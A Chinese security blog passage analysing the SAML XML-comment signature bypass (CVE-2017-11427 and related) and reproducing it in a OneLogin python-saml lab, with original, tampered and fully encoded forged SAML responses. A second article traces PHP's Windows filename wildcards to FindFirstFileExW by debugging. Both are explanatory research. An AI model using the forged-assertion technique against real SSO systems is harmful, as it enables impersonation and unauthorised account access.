节点NameID中的注释部分<!–This is comment –>会被忽略，其获取到NameID的值是test@example.com而不是test@example<!–This is comment –>.com。这样直接导致的一个后果就是不同的NameID可能会产生相同的SignatureValue，这也就为后面的漏洞埋下了伏笔。

而另一方面，SP在签名校验成功后提取SAML Response中的NameID时使用的XML解析方法却很可能与CanonicalizationMethod不一致。如Python中的defusedxml.lxml库在解析<NameID>test@example<!–This is comment –>.com</NameID>中的NameID时就只会返回test@example。如此一来，如果SP的Python-SAML实现中使用的是defusedxml.lxml库，那么下面这两个SAML Response就会产生不同的NameID和相同的SignatureValue。换句话说，我们在原始的SAML Response中的NameID user@user.com.evil.com中添加了注释，这时SP依旧认为该SAML Response签名有效但最终却由于XML解析库的不一致的问题提取了错误的用户身份认证码进入了用户user@user.com的账户，从而造成了越权用户访问的问题。
原始的SAML Response: 

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

篡改后的SAML Response: 

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com<!--This is comment-->.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

那么实际情况下，基于SAML的SSO的实现上会不会出现这种对于XML解析不一致的问题呢？漏洞的发现者测试后发现确实存在，下面这些实现都存在这类问题：

  • OneLogin – python-saml – CVE-2017-11427
  • OneLogin – ruby-saml – CVE-2017-11428
  • Clever – saml2-js – CVE-2017-11429
  • OmniAuth-SAML – CVE-2017-11430
  • Shibboleth – CVE-2018-0489
  • Duo Network Gateway – CVE-2018-7340

0x02 实践

原理分析完了，接下来就是实践验证的时刻了。笔者下面以OneLogin的Python-SAML为例来实际复现一下。

首先，下载受该漏洞影响的OneLogin’s SAML Python Toolkit v2.3.0 (注: 2.4.0版本已经修复此漏洞了)。

接着，按照此文章搭建一个基于OneLogin SAML单点登录的Demo系统(本文以demo-flask为例)。

漏洞环境搭建完成后我们需要在我们的IdP(此处是OneLogin)上建立2个测试用户：

  • 测试用户A：test1@cnnt.com

  • 测试用户B：test1@cnnt.com.cnnt.com

我们的测试目的是，能否通过已经认证成功后的测试用户B的SAML Response经过修改成功获取到测试用户A的数据。

接下来，我们开始尝试利用这个漏洞。

第一步，登陆并成功认证测试用户B，

我们获取到如下的SAML Response：

经过简单的分析得知，该SAML Response是经过base64encode+urlencode的得到的，解码后如下： 

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R6ff459b0bb3452d49705f1da93d843942d45a54b" Version="2.0" IssueInstant="2018-03-02T16:08:19Z" Destination="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b" IssueInstant="2018-03-02T16:08:19Z"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><ds:Reference URI="#pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>hvRgEUe31bN8ask8BaoAWe8f+9c=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>P2+AXQqqsPePdZZ9FnFIbzvTAuRSdYGyfuSmv6jKeZFsu1JGMBCPaU5SaiwSb2OWrvrLN+9KDLAvY/TOJF40j6wx0WSrs+Gs/PEGhUY5BF6NvTTOwKJtCAk7drMMrK3gaMcRJUiLBMjllCO+oYuuQ7EAX0+fqbQYpR/nc35p+TxNC+lHwq57TOfPNtqI/daHlv2IpeeNtOwnq4A2vpo4TBFB3kqTgJj8zbXN9+exGT6fZVXLEzdzB2JNX/TbGFnQIW3J1ocJQvrQwgJG8OVuLNHsm1zrsKKnNT+HAy173h71kZNxxJhEzYTEKJG9NAsdNX3ZdC0kgk+9tNEWore0RQ==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIEDjCCAvagAwIBAgIURSF7r5502dfTNIYjZbCbuQzoTZAwDQYJKoZIhvcNAQEFBQAwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTgwHhcNMTgwMzAxMDc0NzA3WhcNMjMwMzAxMDc0NzA3WjBVMQswCQYDVQQGEwJVUzENMAsGA1UECgwEQ05OVDEVMBMGA1UECwwMT25lTG9naW4gSWRQMSAwHgYDVQQDDBdPbmVMb2dpbiBBY2NvdW50IDEyMzA5ODCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANVH88hpn4umxEHuaTOtCAarNCYr/Vnv1D953mlwQ/y1NqLcC0vxikzH7G6JoTawzqtrtheln11AoxmkzqhTvwxXpnbbkHUz/BxRZFaWI1OcT2i490n46HekHPEm9QrkYgGyLKYgnsFu/gvl8TGeaav+jSecGgfEMVcxwOs1fIrJouW/UNheehjPpEB+zYMBf7bqabAdV86R6mFpDq3CJP86iuTNK1w1VnZB4v6QTQkqGJ8anVSqS9z200BBjjvBurylTPjefJdO1V8CcC3NS7sOW8GQO0jHA4+GH2EPP75kYV632GgzD6kPt8BiBEs73mcjml+lH2VukjBLbKhprVsCAwEAAaOB1TCB0jAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSccxTeTU6gqnuuUV+6k/CLM71XrjCBkgYDVR0jBIGKMIGHgBSccxTeTU6gqnuuUV+6k/CLM71XrqFZpFcwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTiCFEUhe6+edNnX0zSGI2Wwm7kM6E2QMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQUFAAOCAQEAKnId82nIkRSoULV8w8vPtas5TkSRhFN0+A1+7hepQGITTzaRansCLJOgAzj2jeq0YgeeIO/TUKBN3v4yEr8ir50TDJO427XZaBz8BeKwyKBbP6oPRNIgSyvUABh57roX+JyMx2yfFi667QsJX/N5Ug0SslajfndIV7lCQwqoES2Gw87K7rtkXoLn4gZgtsgsoA4HU0ktG2BsrxMV0goHxbJPPWsqOxhhNHVtEwn3dG2y6WxFrdA0RYRFMttYKP08VFCf+8tdLIrX6yr0ZnYzRElb6y81mdmJaTywehvFQVwb+5L8enhPd5eBqfzDwdTdGm98Qyah9ScV5nlUy5pJLA==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test1@cnnt.com.cnnt.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2018-03-02T16:11:19Z" Recipient="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2018-03-02T16:05:19Z" NotOnOrAfter="2018-03-02T16:11:19Z"><saml:AudienceRestriction><saml:Audience>http://180.76.234.24/metadata/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2018-03-02T16:08:18Z" SessionNotOnOrAfter="2018-03-03T16:08:19Z" SessionIndex="_d6e40850-0061-0136-d60e-06da7126ae26"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.LastName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.FirstName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Test</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="PersonImmutableID"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"/></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.email"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test1@cnnt.com.cnnt.com</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

第二步，将NameID和Attribute中的用户B的邮箱 

test1@cnnt.com.cnnt.com

改成

test1@cnnt.com<!---->.cnnt.com

并重新base64encode+urlencode后得到如下的SAML Response：

PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJSNmZmNDU5YjBiYjM0NTJkNDk3MDVmMWRhOTNkODQzOTQyZDQ1YTU0YiIgVmVyc2lvbj0iMi4wIiBJc3N1ZUluc3RhbnQ9IjIwMTgtMDMtMDJUMTY6MDg6MTlaIiBEZXN0aW5hdGlvbj0iaHR0cDovLzE4MC43Ni4yMzQuMjQvP2FjcyIgSW5SZXNwb25zZVRvPSJPTkVMT0dJTl82MWY0YWM1ZDVlOTZhMWNiZDVhZDE4YzI0NzU0ODU0OGUwM2QzZmExIj48c2FtbDpJc3N1ZXI%2BaHR0cHM6Ly9hcHAub25lbG9naW4uY29tL3NhbWwvbWV0YWRhdGEvNzU4MzIxPC9zYW1sOklzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48L3NhbWxwOlN0YXR1cz48c2FtbDpBc3NlcnRpb24geG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgeG1sbnM6eHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBWZXJzaW9uPSIyLjAiIElEPSJwZng3NzhkNzg3Yy05NTZiLWQ3MzAtNDNiYS03ZjJmNGUwYjVhM2IiIElzc3VlSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOVoiPjxzYW1sOklzc3Vlcj5odHRwczovL2FwcC5vbmVsb2dpbi5jb20vc2FtbC9tZXRhZGF0YS83NTgzMjE8L3NhbWw6SXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPGRzOlNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIvPjxkczpSZWZlcmVuY2UgVVJJPSIjcGZ4Nzc4ZDc4N2MtOTU2Yi1kNzMwLTQzYmEtN2YyZjRlMGI1YTNiIj48ZHM6VHJhbnNmb3Jtcz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiLz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjc2hhMSIvPjxkczpEaWdlc3RWYWx1ZT5odlJnRVVlMzFiTjhhc2s4QmFvQVdlOGYrOWM9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlAyK0FYUXFxc1BlUGRaWjlGbkZJYnp2VEF1UlNkWUd5ZnVTbXY2aktlWkZzdTFKR01CQ1BhVTVTYWl3U2IyT1dydnJMTis5S0RMQXZZL1RPSkY0MGo2d3gwV1NycytHcy9QRUdoVVk1QkY2TnZUVE93S0p0Q0FrN2RyTU1ySzNnYU1jUkpVaUxCTWpsbENPK29ZdXVRN0VBWDArZnFiUVlwUi9uYzM1cCtUeE5DK2xId3E1N1RPZlBOdHFJL2RhSGx2MklwZWVOdE93bnE0QTJ2cG80VEJGQjNrcVRnSmo4emJYTjkrZXhHVDZmWlZYTEV6ZHpCMkpOWC9UYkdGblFJVzNKMW9jSlF2clF3Z0pHOE9WdUxOSHNtMXpyc0tLbk5UK0hBeTE3M2g3MWtaTnh4SmhFellURUtKRzlOQXNkTlgzWmRDMGtnays5dE5FV29yZTBSUT09PC9kczpTaWduYXR1cmVWYWx1ZT48ZHM6S2V5SW5mbz48ZHM6WDUwOURhdGE%2BPGRzOlg1MDlDZXJ0aWZpY2F0ZT5NSUlFRGpDQ0F2YWdBd0lCQWdJVVJTRjdyNTUwMmRmVE5JWWpaYkNidVF6b1RaQXdEUVlKS29aSWh2Y05BUUVGQlFBd1ZURUxNQWtHQTFVRUJoTUNWVk14RFRBTEJnTlZCQW9NQkVOT1RsUXhGVEFUQmdOVkJBc01ERTl1WlV4dloybHVJRWxrVURFZ01CNEdBMVVFQXd3WFQyNWxURzluYVc0Z1FXTmpiM1Z1ZENBeE1qTXdPVGd3SGhjTk1UZ3dNekF4TURjME56QTNXaGNOTWpNd016QXhNRGMwTnpBM1dqQlZNUXN3Q1FZRFZRUUdFd0pWVXpFTk1Bc0dBMVVFQ2d3RVEwNU9WREVWTUJNR0ExVUVDd3dNVDI1bFRHOW5hVzRnU1dSUU1TQXdIZ1lEVlFRRERCZFBibVZNYjJkcGJpQkJZMk52ZFc1MElERXlNekE1T0RDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTlZIODhocG40dW14RUh1YVRPdENBYXJOQ1lyL1ZudjFEOTUzbWx3US95MU5xTGNDMHZ4aWt6SDdHNkpvVGF3enF0cnRoZWxuMTFBb3hta3pxaFR2d3hYcG5iYmtIVXovQnhSWkZhV0kxT2NUMmk0OTBuNDZIZWtIUEVtOVFya1lnR3lMS1lnbnNGdS9ndmw4VEdlYWF2K2pTZWNHZ2ZFTVZjeHdPczFmSXJKb3VXL1VOaGVlaGpQcEVCK3pZTUJmN2JxYWJBZFY4NlI2bUZwRHEzQ0pQODZpdVROSzF3MVZuWkI0djZRVFFrcUdKOGFuVlNxUzl6MjAwQkJqanZCdXJ5bFRQamVmSmRPMVY4Q2NDM05TN3NPVzhHUU8wakhBNCtHSDJFUFA3NWtZVjYzMkdnekQ2a1B0OEJpQkVzNzNtY2ptbCtsSDJWdWtqQkxiS2hwclZzQ0F3RUFBYU9CMVRDQjBqQU1CZ05WSFJNQkFmOEVBakFBTUIwR0ExVWREZ1FXQkJTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJqQ0JrZ1lEVlIwakJJR0tNSUdIZ0JTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJxRlpwRmN3VlRFTE1Ba0dBMVVFQmhNQ1ZWTXhEVEFMQmdOVkJBb01CRU5PVGxReEZUQVRCZ05WQkFzTURFOXVaVXh2WjJsdUlFbGtVREVnTUI0R0ExVUVBd3dYVDI1bFRHOW5hVzRnUVdOamIzVnVkQ0F4TWpNd09UaUNGRVVoZTYrZWROblgwelNHSTJXd203a002RTJRTUE0R0ExVWREd0VCL3dRRUF3SUhnREFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBS25JZDgybklrUlNvVUxWOHc4dlB0YXM1VGtTUmhGTjArQTErN2hlcFFHSVRUemFSYW5zQ0xKT2dBemoyamVxMFlnZWVJTy9UVUtCTjN2NHlFcjhpcjUwVERKTzQyN1haYUJ6OEJlS3d5S0JiUDZvUFJOSWdTeXZVQUJoNTdyb1grSnlNeDJ5ZkZpNjY3UXNKWC9ONVVnMFNzbGFqZm5kSVY3bENRd3FvRVMyR3c4N0s3cnRrWG9MbjRnWmd0c2dzb0E0SFUwa3RHMkJzcnhNVjBnb0h4YkpQUFdzcU94aGhOSFZ0RXduM2RHMnk2V3hGcmRBMFJZUkZNdHRZS1AwOFZGQ2YrOHRkTElyWDZ5cjBabll6UkVsYjZ5ODFtZG1KYVR5d2VodkZRVndiKzVMOGVuaFBkNWVCcWZ6RHdkVGRHbTk4UXlhaDlTY1Y1bmxVeTVwSkxBPT08L2RzOlg1MDlDZXJ0aWZpY2F0ZT48L2RzOlg1MDlEYXRhPjwvZHM6S2V5SW5mbz48L2RzOlNpZ25hdHVyZT48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyI%2BdGVzdDFAY25udC5jb208IS0tLS0%2BLmNubnQuY29tPC9zYW1sOk5hbWVJRD48c2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPHNhbWw6U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE4LTAzLTAyVDE2OjExOjE5WiIgUmVjaXBpZW50PSJodHRwOi8vMTgwLjc2LjIzNC4yNC8/YWNzIiBJblJlc3BvbnNlVG89Ik9ORUxPR0lOXzYxZjRhYzVkNWU5NmExY2JkNWFkMThjMjQ3NTQ4NTQ4ZTAzZDNmYTEiLz48L3NhbWw6U3ViamVjdENvbmZpcm1hdGlvbj48L3NhbWw6U3ViamVjdD48c2FtbDpDb25kaXRpb25zIE5vdEJlZm9yZT0iMjAxOC0wMy0wMlQxNjowNToxOVoiIE5vdE9uT3JBZnRlcj0iMjAxOC0wMy0wMlQxNjoxMToxOVoiPjxzYW1sOkF1ZGllbmNlUmVzdHJpY3Rpb24%2BPHNhbWw6QXVkaWVuY2U%2BaHR0cDovLzE4MC43Ni4yMzQuMjQvbWV0YWRhdGEvPC9zYW1sOkF1ZGllbmNlPjwvc2FtbDpBdWRpZW5jZVJlc3RyaWN0aW9uPjwvc2FtbDpDb25kaXRpb25zPjxzYW1sOkF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOFoiIFNlc3Npb25Ob3RPbk9yQWZ0ZXI9IjIwMTgtMDMtMDNUMTY6MDg6MTlaIiBTZXNzaW9uSW5kZXg9Il9kNmU0MDg1MC0wMDYxLTAxMzYtZDYwZS0wNmRhNzEyNmFlMjYiPjxzYW1sOkF1dGhuQ29udGV4dD48c2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvc2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj48L3NhbWw6QXV0aG5Db250ZXh0Pjwvc2FtbDpBdXRoblN0YXRlbWVudD48c2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuTGFzdE5hbWUiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QyPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuRmlyc3ROYW1lIj48c2FtbDpBdHRyaWJ1dGVWYWx1ZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4c2k6dHlwZT0ieHM6c3RyaW5nIj50ZXN0Mjwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJtZW1iZXJPZiI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyI%2BVGVzdDwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJQZXJzb25JbW11dGFibGVJRCI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyIvPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuZW1haWwiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QxQGNubnQuY29tPCEtLS0tPi5jbm50LmNvbTwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjwvc2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPgoK

第三步，重新发送修改后的SAML Response至我们的SP（demo-flask）

可见签名校验成功，并返回了相应的session id。

第四步，利用上一步获取到的session id访问SP，我们发现User.email的值被成功地由test1@cnnt.com.cnnt.com修改成了test1@cnnt.com，如下：

至此，我们成功地复现了漏洞。

0x03 总结

总结一下该漏洞的成因其实很简单，就是由于用于生成SAML Response中的签名的标准化方法与处理身份识别码的XML解析库对于注释的处理不一致从而导致签名校验被绕过，最终出现了越权访问其他用户的数据资源的漏洞。

这个漏洞的利用思路还是比较有意思的，但是也有一定的局限性，要想越权访问其他用户的话，首先需要一个认证成功的用户A，且目标用户B的NameID是可以通过以注释的方式分割用户A的NameID来获得，如用户A的NameID是123456，用户B的NameID是1234。

0x04 参考

安全分析

PHP源码调试之Windows文件通配符分析

0x00 前言

很早之前就有国外的安全研究人员发现PHP语言在Windows上的一些奇妙特性：

  • 大于号(>)相等于通配符问号(?)
  • 小于号(<)相当于通配符星号(*)
  • 双引号(“)相当于点字符(.)

具体文章参见：https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/

那么问题来了，根本原因是什么呢？是PHP语言本身的问题还是Windows的锅呢？

0x01 分析

出于对这个问题的好奇，笔者进行了一下的挖掘和分析。
在分析之前为了避免自己做了无用功，先Google了一番，找到了以下这些文章且都是通过Fuzz的方法发现的，并没有太多资料解释更深层次的原因。

静态分析

既然没有现成的解释，那么我们便可以自己动手分析以下。
首先，下载PHP的源代码尝试进行静态分析。 

git clone https://github.com/php/php-src
git checkout PHP-7.2.1

随便选取一个可以操作文件的PHP方法, 如getimagesize.
尝试进行全局搜索，我们在\php-src\ext\standard\image.c的第1501-1506行发现了该方法的具体定义： 

/* }}} */

/* {{{ proto array getimagesize(string imagefile [, array info])
   Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}

可见，getimagesize方法调用了php_getimagesize_from_any方法，那么接下来又是如何调用的呢？当然，你可以继续逐层追踪下去，但是这将会比较费时费力同时也需要更过的精力去理解大量的代码逻辑。笔者在这里将尝试从动态调试的角度来简化这个分析过程。

动态调试

在动态调试之前，我们需要做一些提前的准备如下：

  • PHP的源码(本文调试的版本是7.2.1)
  • Visual Studio 2017

参考PHP官方文档在Windows上编译PHP-7.2.1：
https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2
具体步骤这里不在赘述，唯一需要注意的点在于在编译之前用以下的命令来建立自己的configure文件： 

configure --enable-debug --enable-phpdbg
编译完成之后，你会看到类似于下图的编译之后的PHP可执行文件：

接下来，我们需要准备一个测试目录，具体结构如下： 

C:\
- Research\
  -- admin\
      --- test.png
  -- poc.php

准备一个poc.php文件，具体内容如下： 

<?php
$a = "c:\\research\\phptest\\ad<\\test.png";
exec('pause');
if(@getimagesize($a)){
    echo "Success";
}else{
    echo "Failed";
}
?>

使用我们编译后的PHP来执行的话，正常情况下应该会返回Success：

一切准备就绪，便可以进行动态调试了。
先启动Visual Studio打开我们在静态分析时找到的\php-src\ext\standard\image.c文件在第1505行下一个断点。

进入C:\Research\目录，使用编译后的PHP(例如：C:\Research\php-sdk\phpdev\vc15\x64\php-7.2.1-src\x64\Debug_TS\php.exe)来执行我们的poc.php文件，并在Visual Studio里打开“调试-附加进程”来附加此处的PHP进程。

返回到执行poc文件的命令行下，敲击回车，我们发现前面设置的断点被成功hit了。

接下来的操作就需要特别的仔细和耐心了，使用VS提供的调试命令：

  • F10: 单步调试
  • F11: 逐语句调试
  • Shift + F11： 跳出

最终我们通过动态调试在\php-src\Zend\zend_virtual_cwd.c的第841行找到了Window API里的FindFirstFileExW()方法: 

#ifdef ZEND_WIN32
        if (save) {
            pathw = php_win32_ioutil_any_to_w(path);
            if (!pathw) {
                return -1;
            }
            hFind = FindFirstFileExW(pathw, FindExInfoBasic, &dataw, FindExSearchNameMatch, NULL, 0);
            if (INVALID_HANDLE_VALUE == hFind) {
                if (use_realpath == CWD_REALPATH) {
                    /* file not found */
                    FREE_PATHW()
                    return -1;
                }
                /* continue resolution anyway but don't save result in the cache */
                save = 0;
            } else {
                FindClose(hFind);
            }
        }

也就是说PHP的getimagesize方法最终调用了Windows API里的FindFirstFileExW()，调用顺序如下：
  • PHP_FUNCTION(getimagesize)
  • php_getimagesize_from_any
  • _php_stream_open_wrapper_ex
  • php_stream_locate_url_wrapper
  • wrapper->wops->stream_opener
  • php_plain_files_stream_opener
  • php_stream_fopen_rel
  • _php_stream_fopen
  • expand_filepath
  • expand_filepath_ex
  • expand_filepath_with_mode
  • virtual_file_ex
  • tsrm_realpath_r
  • FindFirstFileExW

